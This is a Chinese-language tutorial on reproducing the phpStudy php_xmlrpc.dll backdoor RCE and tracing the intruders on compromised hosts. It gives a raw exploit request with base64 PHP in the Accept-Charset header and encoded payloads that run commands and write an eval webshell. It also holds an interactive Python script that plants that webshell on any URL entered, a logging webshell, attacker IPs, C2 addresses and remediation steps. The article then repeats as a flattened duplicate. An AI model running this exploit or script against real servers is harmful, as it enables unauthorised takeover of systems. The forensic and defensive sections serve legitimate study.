phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析
字数 1713 2025-08-18 11:39:00

phpStudy远程RCE漏洞复现与沦陷主机入侵溯源分析

漏洞概述

phpStudy是一款流行的PHP集成环境软件,2019年发现其多个版本存在后门漏洞。该后门存在于php_xmlrpc.dll文件中,具有远程代码执行(RCE)能力,且具有免杀特性,无法被常规杀毒软件检测。

受影响版本

  • phpStudy20161103

    • 后门位置:*\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
  • phpStudy20180211

    • 后门位置:
      • *\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll
      • *\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll

漏洞检测方法

  1. 定位php_xmlrpc.dll文件
  2. 用文本编辑器打开该文件
  3. 搜索字符串"@eva",若存在则确认存在后门

漏洞复现步骤

环境准备

  • VMware Workstation Pro
  • Windows 7/2008R2系统
  • BurpSuite Free
  • phpStudy20161103或phpStudy20180211

复现过程

  1. 搭建phpStudy环境(示例IP:192.168.1.91)
  2. 浏览器访问靶机地址:http://192.168.1.91/
  3. 配置浏览器代理,使用BurpSuite抓包

RCE POC构造

基本请求格式:

GET / HTTP/1.1
Host: 192.168.1.91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset: "command base64 string"
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

关键点:

  • 将待执行的PHP代码进行Base64编码
  • 放入Accept-Charset头部(需删除引号内的空格)

示例命令执行

  1. 执行whoami命令:

    • PHP代码:system('whoami');
    • Base64编码:c3lzdGVtKCd3aG9hbWknKTs=
    • 构造的Accept-Charset:Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
  2. 写入Webshell:

    • 命令:ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php
    • PHP代码:system('ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php');
    • Base64编码:c3lzdGVtKCdFQ0hPIF48P3BocCBAZXZhbCgkX1BPU1RbY21kXSk7ID9ePj4iQzovcGhwU3R1ZHkvV1dXL2RlbW9uLnBocCAnKTs=

Python自动化利用脚本

import base64
import requests

print("Phpstudy 2016/2018 远程 RCE Getshell工具 <By:艾登——皮尔斯>")
print("[+]脚本仅用学习教育目的")
print("[+]请您务必遵守《中华人民共和国网络安全法》")

def write_shell(url, headers):
    r = requests.get(url=url, headers=headers)
    cheack_webshell = requests.get(url+"/demon.php")
    if cheack_webshell.status_code == 200:
        print("\n\n[+]{} Webshell写入成功".format(url))
    else:
        print("\n\n[+]{} Webshell写入失败".format(url))
    print("\n\n")

while True:
    path = input(str("请你输入绝对路径:"))
    url = input(str("请你输入IP地址/域名:"))
    payload_qury = """system('ECHO ^<?php @eval($_POST[cmd]);?^>>"{}"');""".format(path)
    payload = base64.b64encode(payload_qury.encode('utf-8'))
    payload = str(payload, 'utf-8')
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'accept-charset': payload,
        'Accept-Encoding': 'gzip,deflate',
        'Connection': 'close',
    }
    write_shell(url=url, headers=headers)

沦陷主机入侵溯源分析

常见攻击特征

  1. 高频出现的Webshell文件名:

    • lishunsheng.php
    • 001122.php
    • demon.php
    • test.php
  2. 攻击者常用手法:

    • 通过echo方式写入Webshell
    • 利用phpMyAdmin弱口令登录
    • 上传不死马后门

溯源技术

  1. 修改Webshell记录访问者信息:
<?php 
$address = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$file = fopen("log.html", "a");
$time = time();
$now_date= date('Y-m-d H:i:s',$time);
fwrite($file, "<b>Time:$now_date</b><br>");
fwrite($file, "<b>IP Address:$address</b><br>");
fwrite($file, "<b>Referer:$referer</b><br>");
fwrite($file, "<b>Browser:$browser</b><br/><hr>");
fclose($file);
@eval($_POST[ppass]); 
?>
  1. 发现的攻击者IP及归属地:
    • 149.129.98.81 - 香港阿里云
    • 23.223.201.26 - 美国乔治亚州亚特兰大
    • 72.21.81.189 - 美国加利福尼亚

攻击者画像分析

  1. 使用的恶意软件特征:

    • 文件名:cd.exe
    • 行为:
      • 运行后删除自身
      • 复制到C:\Windows目录
      • 修改注册表降低安全设置
      • 连接C&C服务器:114.67.65.156:8081
  2. 攻击工具:

    • 使用PowerShell反射注入工具(inJoin.ps1)
    • 上线地址:117.21.224.222:9898(江西赣州)

修复建议

  1. 立即升级到phpStudy最新版本
  2. 修改所有服务器密码
  3. 检查系统日志,全盘查杀后门
  4. 生产环境避免使用一键部署软件
  5. 关注安全情报平台(微步、黑鸟、快识等)

参考资源

  1. phpStudy后门简要分析
  2. 数十万PhpStudy用户被植入后门相关报告
  3. 杭州警方"净网2019"专项行动战果通报
  4. 病毒团伙利用phpStudy RCE漏洞分析报告
  5. 渗透技巧相关文档

注:本文技术内容仅用于教育目的,请遵守《中华人民共和国网络安全法》

phpStudy远程RCE漏洞复现与沦陷主机入侵溯源分析 漏洞概述 phpStudy是一款流行的PHP集成环境软件,2019年发现其多个版本存在后门漏洞。该后门存在于php_ xmlrpc.dll文件中,具有远程代码执行(RCE)能力,且具有免杀特性,无法被常规杀毒软件检测。 受影响版本 phpStudy20161103 后门位置: *\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll phpStudy20180211 后门位置: *\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll *\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll 漏洞检测方法 定位php_ xmlrpc.dll文件 用文本编辑器打开该文件 搜索字符串"@eva",若存在则确认存在后门 漏洞复现步骤 环境准备 VMware Workstation Pro Windows 7/2008R2系统 BurpSuite Free phpStudy20161103或phpStudy20180211 复现过程 搭建phpStudy环境(示例IP:192.168.1.91) 浏览器访问靶机地址:http://192.168.1.91/ 配置浏览器代理,使用BurpSuite抓包 RCE POC构造 基本请求格式: 关键点: 将待执行的PHP代码进行Base64编码 放入 Accept-Charset 头部(需删除引号内的空格) 示例命令执行 执行 whoami 命令: PHP代码: system('whoami'); Base64编码: c3lzdGVtKCd3aG9hbWknKTs= 构造的Accept-Charset: Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs= 写入Webshell: 命令: ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php PHP代码: system('ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php'); Base64编码: c3lzdGVtKCdFQ0hPIF48P3BocCBAZXZhbCgkX1BPU1RbY21kXSk7ID9ePj4iQzovcGhwU3R1ZHkvV1dXL2RlbW9uLnBocCAnKTs= Python自动化利用脚本 沦陷主机入侵溯源分析 常见攻击特征 高频出现的Webshell文件名: lishunsheng.php 001122.php demon.php test.php 攻击者常用手法: 通过echo方式写入Webshell 利用phpMyAdmin弱口令登录 上传不死马后门 溯源技术 修改Webshell记录访问者信息: 发现的攻击者IP及归属地: 149.129.98.81 - 香港阿里云 23.223.201.26 - 美国乔治亚州亚特兰大 72.21.81.189 - 美国加利福尼亚 攻击者画像分析 使用的恶意软件特征: 文件名:cd.exe 行为: 运行后删除自身 复制到C:\Windows目录 修改注册表降低安全设置 连接C&C服务器:114.67.65.156:8081 攻击工具: 使用PowerShell反射注入工具(inJoin.ps1) 上线地址:117.21.224.222:9898(江西赣州) 修复建议 立即升级到phpStudy最新版本 修改所有服务器密码 检查系统日志,全盘查杀后门 生产环境避免使用一键部署软件 关注安全情报平台(微步、黑鸟、快识等) 参考资源 phpStudy后门简要分析 数十万PhpStudy用户被植入后门相关报告 杭州警方"净网2019"专项行动战果通报 病毒团伙利用phpStudy RCE漏洞分析报告 渗透技巧相关文档 注:本文技术内容仅用于教育目的,请遵守《中华人民共和国网络安全法》